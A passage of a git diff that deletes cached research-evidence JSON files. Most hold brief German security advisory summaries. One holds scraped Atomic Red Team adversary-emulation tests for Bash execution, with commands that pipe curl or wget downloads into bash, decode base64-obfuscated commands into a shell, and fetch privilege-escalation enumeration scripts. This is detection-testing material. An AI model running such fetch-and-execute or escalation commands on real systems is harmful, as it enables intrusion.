Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6598860878180428, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/0d93b89ff3593922d9bb7782.json b/data/research-evidence/0d93b89ff3593922d9bb7782.json deleted file mode 100644 index 26f8072..0000000 --- a/data/research-evidence/0d93b89ff3593922d9bb7782.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:45:12.6319993Z", - "content_sha256": "afc9f51a4c0c6d455ffffffb215f5b265bb9899e541dd591e3ea301abd713354", - "result": { - "title": "[UPDATE] [mittel] GNU libc: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1300", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in GNU libc ausnutzen, um beliebigen Programmcode auszuführen, einen Denial-of-Service-Zustand zu verursachen oder vertrauliche Informationen offenzulegen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in GNU libc ausnutzen, um beliebigen Programmcode auszuführen, einen Denial-of-Service-Zustand zu verursachen oder vertrauliche Informationen offenzulegen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6573915990330501, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/0d9c4da0d7019f65bd612bf1.json b/data/research-evidence/0d9c4da0d7019f65bd612bf1.json deleted file mode 100644 index a94c8b9..0000000 --- a/data/research-evidence/0d9c4da0d7019f65bd612bf1.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:38:37.0210062Z", - "content_sha256": "1fdf3f5e7eca085222c3cafa886f855dd5af5434018db58e34b2975bcf2c0f39", - "result": { - "title": "[UPDATE] [hoch] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1006", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um Speicherbeschädigungen zu verursachen, beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, einen Denial-of-Service-Zustand auszulösen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um Speicherbeschädigungen zu verursachen, beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, einen Denial-of-Service-Zustand auszulösen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.68693001430151, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/0e5ab7624c36b600487c32fa.json b/data/research-evidence/0e5ab7624c36b600487c32fa.json deleted file mode 100644 index 40262b0..0000000 --- a/data/research-evidence/0e5ab7624c36b600487c32fa.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:34:36.7027229Z", - "content_sha256": "e52704e1246fc30d3a1aa90ff7a622ebcba2bd4090ba1e8cbb1c0c60ddf68b05", - "result": { - "title": "[UPDATE] [niedrig] Postfix: Schwachstelle ermöglicht Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1352", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Postfix ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Postfix ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7043389674418912, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/11f239bbb82c28489292ab7c.json b/data/research-evidence/11f239bbb82c28489292ab7c.json deleted file mode 100644 index bfa2f47..0000000 --- a/data/research-evidence/11f239bbb82c28489292ab7c.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:54:37.0688399Z", - "content_sha256": "d4c903b892d5a8e2d2b8e049f8024e8bbfa1a246d75c2823d9e12eabf3d1af20", - "result": { - "title": "Neue Malware-Welle: Arch Linux blockiert AUR-Updates", - "url": "https://www.heise.de/news/Neue-Malware-Welle-Arch-Linux-blockiert-AUR-Updates-11395880.html", - "snippet": "Erneut verbreitet sich Malware über Arch User Repositorys. Daher gibt es vorerst überhaupt keine Updates für AUR.", - "content": "Erneut verbreitet sich Malware über Arch User Repositorys. Daher gibt es vorerst überhaupt keine Updates für AUR.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6250818418378432, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/12af6d5b50287ada7387039c.json b/data/research-evidence/12af6d5b50287ada7387039c.json deleted file mode 100644 index 94b3752..0000000 --- a/data/research-evidence/12af6d5b50287ada7387039c.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:52:07.7034833Z", - "content_sha256": "4867312bafee36c72b6afe8fc56bddb33ffea65ef1a583c8f545829dbb8b6ae0", - "result": { - "title": "[UPDATE] [hoch] Internet Systems Consortium BIND: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2484", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Internet Systems Consortium BIND ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6374345833211241, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/139fe6f63d7d5c8fc187a321.json b/data/research-evidence/139fe6f63d7d5c8fc187a321.json deleted file mode 100644 index 738a0c1..0000000 --- a/data/research-evidence/139fe6f63d7d5c8fc187a321.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:44:44.3518553Z", - "content_sha256": "1dbddfb282408eb8cf0c3628e39bb26538bcd58e3900d9feff391e3f5547a42d", - "result": { - "title": "[UPDATE] [hoch] Red Hat Enterprise Linux AI: Schwachstelle ermöglicht Codeausführung", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2629", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux AI ausnutzen, um beliebigen Programmcode auszuführen und dadurch möglicherweise die vollständige Kontrolle über das betroffene System zu erlangen, Daten zu kompromittieren oder einen Denial-of-Service-Zustand herbeizuführen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux AI ausnutzen, um beliebigen Programmcode auszuführen und dadurch möglicherweise die vollständige Kontrolle über das betroffene System zu erlangen, Daten zu kompromittieren oder einen Denial-of-Service-Zustand herbeizuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6588459094961676, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/1926c6b36984930543d2dfe9.json b/data/research-evidence/1926c6b36984930543d2dfe9.json deleted file mode 100644 index 96d6d1b..0000000 --- a/data/research-evidence/1926c6b36984930543d2dfe9.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:51:37.7654673Z", - "content_sha256": "287a56aa1b2c258f9f88ec3c41ebcba4eaea6989775ba0f5b14e306eceb634ff", - "result": { - "title": "VMware ESX, vCenter, Workstation und Fusion: Updates schließen kritische Lücken", - "url": "https://www.heise.de/news/VMware-ESX-vCenter-Workstation-und-Fusion-Updates-schliessen-kritische-Luecken-11386401.html", - "snippet": "VMware-Updates für ESX, vCenter, Workstation und Fusion schließen Sicherheitslücken, die etwa die Umgehung der Authentifizierung erlauben.", - "content": "VMware-Updates für ESX, vCenter, Workstation und Fusion schließen Sicherheitslücken, die etwa die Umgehung der Authentifizierung erlauben.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6388556350118791, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/1ac7188240fb01a4307af999.json b/data/research-evidence/1ac7188240fb01a4307af999.json deleted file mode 100644 index c95877e..0000000 --- a/data/research-evidence/1ac7188240fb01a4307af999.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:55:41.8067611Z", - "content_sha256": "08109ffbfaf7d0f419720504a304ba85e2c82a72329c1b40fe9a7e97a63bbc45", - "result": { - "title": "Sicherheitsupdates: TP-Links Netzwerk-Ökosystem Omada ist kompromittierbar", - "url": "https://www.heise.de/news/Sicherheitsupdates-TP-Links-Netzwerk-Oekosystem-Omada-ist-kompromittierbar-11399435.html", - "snippet": "Sicherheitsforscher entdecken unter anderem kritische Lücken in TP-Link Omada, die sich auf weitere Netzwerkkomponenten ausweiten.", - "content": "Sicherheitsforscher entdecken unter anderem kritische Lücken in TP-Link Omada, die sich auf weitere Netzwerkkomponenten ausweiten.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6203670546949902, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/1bb5ab3f896384ad3b2765d2.json b/data/research-evidence/1bb5ab3f896384ad3b2765d2.json deleted file mode 100644 index 10b220f..0000000 --- a/data/research-evidence/1bb5ab3f896384ad3b2765d2.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:34:06.5246928Z", - "content_sha256": "e4cd42143d442ced8a7db8abeff675c7687cb1e49fdf2b1fe44b4194a7611b84", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel (Fragnesia): Schwachstelle ermöglicht Erlangen von Administratorrechten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1530", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7055545100574601, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/1c9cbbfc8c0b83c587a87183.json b/data/research-evidence/1c9cbbfc8c0b83c587a87183.json deleted file mode 100644 index 99bbe8e..0000000 --- a/data/research-evidence/1c9cbbfc8c0b83c587a87183.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:38:43.193394Z", - "content_sha256": "7899d96ef54f3e53311acf40fce3d0ef355a9a39c880b4f3ec1652a12037101d", - "result": { - "title": "[UPDATE] [hoch] WSO2 API Manager: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2085", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in WSO2 API Manager ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um seine Privilegien zu erhöhen, um beliebigen Programmcode auszuführen, um einen SQL-Injection Angriff durchzuführen, um einen Cross-Site Scripting Angriff durchzuführen, um Informationen offenzulegen, und um Daten zu manipulieren.", - "content": "Ein Angreifer kann mehrere Schwachstellen in WSO2 API Manager ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um seine Privilegien zu erhöhen, um beliebigen Programmcode auszuführen, um einen SQL-Injection Angriff durchzuführen, um einen Cross-Site Scripting Angriff durchzuführen, um Informationen offenzulegen, und um Daten zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.68436270069221, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/1eb021ad672b11caac7ab112.json b/data/research-evidence/1eb021ad672b11caac7ab112.json deleted file mode 100644 index 3f7b200..0000000 --- a/data/research-evidence/1eb021ad672b11caac7ab112.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:41:06.4147509Z", - "content_sha256": "860f7c85dd79581b5bc66c32b4fce23456490dc4eb94a0998f1733554f00bdfb", - "result": { - "title": "[NEU] [hoch] Microsoft Azure: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2689", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Microsoft Azure und Microsoft Entra ausnutzen, um beliebigen Code auszuführen oder erweiterte Berechtigungen zu erlangen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Microsoft Azure und Microsoft Entra ausnutzen, um beliebigen Code auszuführen oder erweiterte Berechtigungen zu erlangen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6694853119658069, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/1f86b59975a707f1419024fc.json b/data/research-evidence/1f86b59975a707f1419024fc.json deleted file mode 100644 index 1abe2eb..0000000 --- a/data/research-evidence/1f86b59975a707f1419024fc.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:34:41.1883719Z", - "content_sha256": "b8d3ddedc9a43ec13a0d78b778825a0772ebf05a6f3044da1d95ce6f02182021", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2056", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial-of-Service-Angriff auszulösen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial-of-Service-Angriff auszulösen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.704121228547584, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/1fab6965573d75a5f05fbd0e.json b/data/research-evidence/1fab6965573d75a5f05fbd0e.json deleted file mode 100644 index 4d2cd03..0000000 --- a/data/research-evidence/1fab6965573d75a5f05fbd0e.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:30:07.6235595Z", - "content_sha256": "656358c51819ed607cfb40bcc9c9443bf5918490b4f813bba6d0cc0c72700ce8", - "result": { - "title": "[UPDATE] [mittel] systemd: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0831", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in systemd ausnutzen, um einen Denial of Service Angriff durchzuführen oder Code mit Administratorrechten auszuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in systemd ausnutzen, um einen Denial of Service Angriff durchzuführen oder Code mit Administratorrechten auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7426129968280393, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/22edcc676b235707de37ac6d.json b/data/research-evidence/22edcc676b235707de37ac6d.json deleted file mode 100644 index 692716e..0000000 --- a/data/research-evidence/22edcc676b235707de37ac6d.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:50:11.938514Z", - "content_sha256": "c0d13bafa777fa4284ad2e9ae46b6a201844520d65d07683de92b76f8cb0d145", - "result": { - "title": "[NEU] [hoch] WordPress: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2701", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in WordPress ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen, um seine Privilegien zu erhöhen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in WordPress ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen, um seine Privilegien zu erhöhen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6420422193071715, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/23b1b88d64cd0fc334a8c03d.json b/data/research-evidence/23b1b88d64cd0fc334a8c03d.json deleted file mode 100644 index b0c4b4a..0000000 --- a/data/research-evidence/23b1b88d64cd0fc334a8c03d.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:29:27.509047Z", - "content_sha256": "d5277d83cad8db7715ccdc95945c9a9f387593c0b9b296c174cc69995cdc8ab4", - "result": { - "title": "Atomic Red Team™: T1059.004", - "url": "https://www.atomicredteam.io/docs/atomics/T1059.004", - "snippet": "Atomic Test #4: LinEnum tool execution LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host. Supported Platforms: Linux auto_generated_guid: a2b35a63-9df1-4806-9a4d-5fe0500845f2 Inputs", - "content": "T1059.004\n\nCommand and Scripting Interpreter: Bash\n\nCopy Markdown Open with LLM\n\nDescription from ATT\u0026CK\n\nAdversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH . Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nSome systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.\n\nSource\n\nAtomic Tests\n\nAtomic Test #1: Create and Execute Bash Shell Script\n\nAtomic Test #2: Command-Line Interface\n\nAtomic Test #3: Harvest SUID executable files\n\nAtomic Test #4: LinEnum tool execution\n\nAtomic Test #5: New script file in the tmp directory\n\nAtomic Test #6: What shell is running\n\nAtomic Test #7: What shells are available\n\nAtomic Test #8: Command line scripts\n\nAtomic Test #9: Obfuscated command line scripts\n\nAtomic Test #10: Change login shell\n\nAtomic Test #11: Environment variable scripts\n\nAtomic Test #12: Detecting pipe-to-shell\n\nAtomic Test #13: Current kernel information enumeration\n\nAtomic Test #14: Shell Creation using awk command\n\nAtomic Test #15: Creating shell using cpan command\n\nAtomic Test #16: Shell Creation using busybox command\n\nAtomic Test #17: emacs spawning an interactive system shell\n\nAtomic Test #1: Create and Execute Bash Shell Script\n\nCreates and executes a simple sh script.\n\nSupported Platforms: Linux, macOS\n\nauto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873\n\nInputs\n\nName\n\nDescription\n\nType\n\nDefault Value\n\nscript_path\n\nScript path\n\npath\n\n/tmp/art.sh\n\nhost\n\nHost to ping\n\nstring\n\n8.8.8.8\n\nAttack Commands: Run with sh !\n\nsh -c \"echo 'echo Hello from the Atomic Red Team' \u003e #{script_path}\"\nsh -c \"echo 'ping -c 4 #{host}' \u003e\u003e #{script_path}\"\nchmod +x #{script_path}\nsh #{script_path}\n\nCleanup Commands\n\nrm #{script_path}\n\nAtomic Test #2: Command-Line Interface\n\nUsing Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.\n\nUpon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in /tmp/art-fish.txt .\n\nSupported Platforms: Linux, macOS\n\nauto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c\n\nAttack Commands: Run with sh !\n\ncurl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\nwget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\n\nCleanup Commands\n\nrm /tmp/art-fish.txt\n\nAtomic Test #3: Harvest SUID executable files\n\nAutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.\n\nSupported Platforms: Linux\n\nauto_generated_guid: 46274fc6-08a7-4956-861b-24cbbaa0503c\n\nInputs\n\nName\n\nDescription\n\nType\n\nDefault Value\n\nautosuid\n\nPath to the autosuid shell script\n\npath\n\nPathToAtomicsFolder/T1059.004/src/AutoSUID.sh\n\nautosuid_url\n\nPath to download autosuid shell script\n\nurl\n\nhttps://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh\n\nAttack Commands: Run with sh !\n\nchmod +x #{autosuid}\nbash #{autosuid}\n\nCleanup Commands\n\nrm -rf #{autosuid}\n\nDependencies: Run with bash !\n\nDescription: AutoSUID must exist on disk at specified location (#{autosuid})\n\nCheck Prereq Commands\n\nif [ -f #{autosuid} ]; then exit 0; else exit 1; fi;\n\nGet Prereq Commands\n\ncurl --create-dirs #{autosuid_url} --output #{autosuid}\n\nAtomic Test #4: LinEnum tool execution\n\nLinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.\n\nSupported Platforms: Linux\n\nauto_generated_guid: a2b35a63-9df1-4806-9a4d-5fe0500845f2\n\nInputs\n\nName\n\nDescription\n\nType\n\nDefault Value\n\nlinenum\n\nPath to the LinEnum shell script\n\npath\n\nPathToAtomicsFolder/T1059.004/src/LinEnum.sh\n\nlinenum_url\n\nPath to download LinEnum shell script\n\nurl\n\nhttps://raw.githubusercontent.com/rebootuser/LinEnum/c47f9b226d3ce2848629f25fe142c1b2986bc427/LinEnum.sh\n\nAttack Commands: Run with sh !\n\nchmod +x #{linenum}\nbash #{linenum}\n\nCleanup Commands\n\nrm -rf #{linenum}\n\nDependencies: Run with bash !\n\nDescription: LinnEnum must exist on disk at specified location (#{linenum})\n\nCheck Prereq Commands\n\nif [ -f #{linenum} ]; then exit 0; else exit 1; fi;\n\nGet Prereq Commands\n\ncurl --create-dirs #{linenum_url} --output #{linenum}\n\nAtomic Test #5: New script file in the tmp directory\n\nAn attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.\n\nSupported Platforms: Linux\n\nauto_generated_guid: 8cd1947b-4a54-41fb-b5ea-07d0ace04f81\n\nAttack Commands: Run with sh !\n\nTMPFILE = $( mktemp )\necho \"id\" \u003e $TMPFILE\nbash $TMPFILE\n\nCleanup Commands\n\nrm $TMPFILE\nunset TMPFILE\n\nAtomic Test #6: What shell is running\n\nAn adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.\n\nSupported Platforms: Linux\n\nauto_generated_guid: 7b38e5cc-47be-44f0-a425-390305c76c17\n\nAttack Commands: Run with sh !\n\necho $0\nif $( env | grep \"SHELL\" \u003e /dev/null ); then env | grep \"SHELL\" ; fi\nif $( printenv SHELL \u003e /dev/null ); then printenv SHELL ; fi\n\nAtomic Test #7: What shells are available\n\nAn adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.\n\nSupported Platforms: Linux\n\nauto_generated_guid: bf23c7dc-1004-4949-8262-4c1d1ef87702\n\nAttack Commands: Run with sh !\n\ncat /etc/shells\n\nAtomic Test #8: Command line scripts\n\nAn adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!\n\nSupported Platforms: Linux\n\nauto_generated_guid: b04ed73c-7d43-4dc8-b563-a2fc595cba1a\n\nAttack Commands: Run with sh !\n\nfor i in $( seq 1 5 ); do echo \" $i , Atomic Red Team was here!\" ; sleep 1 ; done\n\nAtomic Test #9: Obfuscated command line scripts\n\nAn adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.\n\nSupported Platforms: Linux\n\nauto_generated_guid: 5bec4cc8-f41e-437b-b417-33ff60acf9af\n\nAttack Commands: Run with sh !\n\n[ \"$( uname )\" = 'FreeBSD' ] \u0026\u0026 encodecmd = \"b64encode -r -\" \u0026\u0026 decodecmd = \"b64decode -r\" || encodecmd = \"base64 -w 0\" \u0026\u0026 decodecmd = \"base64 -d\"\nART = $( echo -n \"id\" | $encodecmd)\necho \" \\$ ART= $ART \"\necho -n \" $ART \" | $decodecmd | /bin/bash\nunset ART\n\nAtomic Test #10: Change login shell\n\nAn adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.\n\nSupported Platforms: Linux\n\nauto_generated_guid: c7ac59cb-13cc-4622-81dc-6d2fee9bfac7\n\nAttack Commands: Run with bash ! Elevation Required (e.g. root or admin)\n\n[ \"$( uname )\" = 'FreeBSD' ] \u0026\u0026 pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art\ncat /etc/passwd | grep ^art\nchsh -s /bin/sh art\ncat /etc/passwd | grep ^art\n\nCleanup Commands\n\n[ \"$( uname )\" = 'FreeBSD' ] \u0026\u0026 rmuser -y art || userdel art\n\nDependencies: Run with bash !\n\nDescription: chsh - change login shell, must be installed\n\nCheck Prereq Commands\n\nif [ -f /usr/bin/chsh ]; then echo \"exit 0\" ; else echo \"exit 1\" ; exit 1 ; fi\n\nGet Prereq Commands\n\necho \"Automated installer not implemented yet, please install chsh manually\"\n\nAtomic Test #11: Environment variable scripts\n\nAn adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash\n\nSupported Platforms: Linux\n\nauto_generated_guid: bdaebd56-368b-4970-a523-f905ff4a8a51\n\nAttack Commands: Run with sh !\n\nexport ART = 'echo \"Atomic Red Team was here... T1059.004\"'\necho $ART | /bin/sh\n\nCleanup Commands\n\nunset ART\n\nAtomic Test #12: Detecting pipe-to-shell\n\nAn adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command.\n\nSupported Platforms: Linux\n\nauto_generated_guid: fca246a8-a585-4f28-a2df-6495973976a1\n\nInputs\n\nName\n\nDescription\n\nType\n\nDefault Value\n\nremote_url\n\nurl of remote payload\n\nurl\n\nhttps://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh\n\nAttack Commands: Run with sh !\n\ncd /tmp\ncurl -s #{remote_url} |bash\nls -la /tmp/art.txt\n\nCleanup Commands\n\nrm /tmp/art.txt\n\nDependencies: Run with bash !\n\nDescription: Check if curl is installed on the machine.\n\nCheck Prereq Commands\n\nif [ -x \"$( command -v curl)\" ]; then echo \"curl is installed\" ; else echo \"curl is NOT installed\" ; exit 1 ; fi\n\nGet Prereq Commands\n\nwhich apt \u0026\u0026 apt update \u0026\u0026 apt install -y curl || which pkg \u0026\u0026 pkg update \u0026\u0026 pkg 